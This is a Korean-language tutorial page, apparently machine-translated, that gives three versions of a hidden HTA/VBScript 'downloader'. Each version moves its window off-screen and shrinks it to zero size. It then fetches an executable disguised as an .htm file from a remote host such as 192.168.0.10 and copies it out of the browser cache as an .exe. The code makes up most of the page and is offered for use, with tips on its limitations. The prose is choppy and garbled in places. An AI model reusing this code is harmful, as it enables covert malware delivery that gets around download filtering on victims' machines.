어 려 운 hta 다운로드 자가 되 기
<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 ' hta
set objshell= Createobject("WScript.Shell")'hta WScript.Shell , wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '
set xml=document.createElement("xml")' xml ie
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")' exe , ftp , ,
ShowAllFile(downpath)
Sub ShowAllFile(Path) ' , lake2
FindFileName="xx[1].htm" ' , xx.htm, xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" ' c:\111.exe,
'document.write "[+]Download Success !"
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>
의 용법 은 exe 를 xx.exe 와 같이 공간 에 이름 을 바 꾸 는 것 이다.그리고 명령 을 내리 거나 이 hta 를 더 블 클릭 하면 됩 니 다.5.다른 코드(명령 행 매개 변수)는 개인 적 으로 네 번 째 부분의 코드 가 비교적 좋다 고 생각 합 니 다.수정 해서 사용 하면 됩 니 다.명령 행 인 자 를 호출 하면 hta 작은 창 이 나타 나 고 다운로드 가 끝 난 후에 닫 히 기 때문에 좋 지 않 습 니 다.코드:
<HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
<script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 ' hta
cmdLineArray = Split(MySampleHTA.commandLine)'
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '
temp=split(temp,".")' .
FindFileName=temp(0)&"[1]."&temp(1)
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))
ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
'document.write "[+]Download Success !"
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
Function LastOne(Str,splitStr)
' ,
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
</script>
용법 은 exe 를 xx.exe 와 같이 xx.htm 로 이름 을 바 꾸 고 명령 행 아래 는'c:\xx.hta'와 같다.http://www.target.com/xx.htm"이렇게 하면 xx.exe 는 c:6 에 저 장 됩 니 다.어떠한 구성 요소 도 호출 하지 않 습 니 다(다운로드 한 xx[1].htm 를 수 동 으로 찾 아야 합 니 다):
window.moveTo 4000,4000
window.resizeTo 0,0 ' hta
set xml=document.createElement("xml")' xml ie
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close
7.저 는 hta 다운로드 자가 완벽 하지 않 은 것 이 단점 입 니 다."첫째,다운로드 한 임시 변 수 는 ExpandEnvironment Strings("%USERPROFILE%")를 사 용 했 기 때문에 사용자 환경 에서 사용 할 수 있 습 니 다.system 권한 이 있 으 면 정상 이 아 닐 수도 있 습 니 다.두 번 째 는 다운로드 에 성공 한 후에 힌트 가 없 기 때문에 hta 로 명령 행 에서 회 현 을 보 여 주 는 것 이 귀 찮 기 때문에 저 는 하지 않 았 습 니 다.헤헤.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
mdb 파일을 사용하여 SQL 연습을 해보자.VBS로 간단하게 SQL이 조종할 수 있는 인터프리터의 윈도우를 만들었습니다. ACCESS mdb 파일이 필요합니다. 일단, Vecter 에서 앱 및 샘플 데이터베이스 및 안내서를 다운로드할 수 있습니다. 덧붙여 넣...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.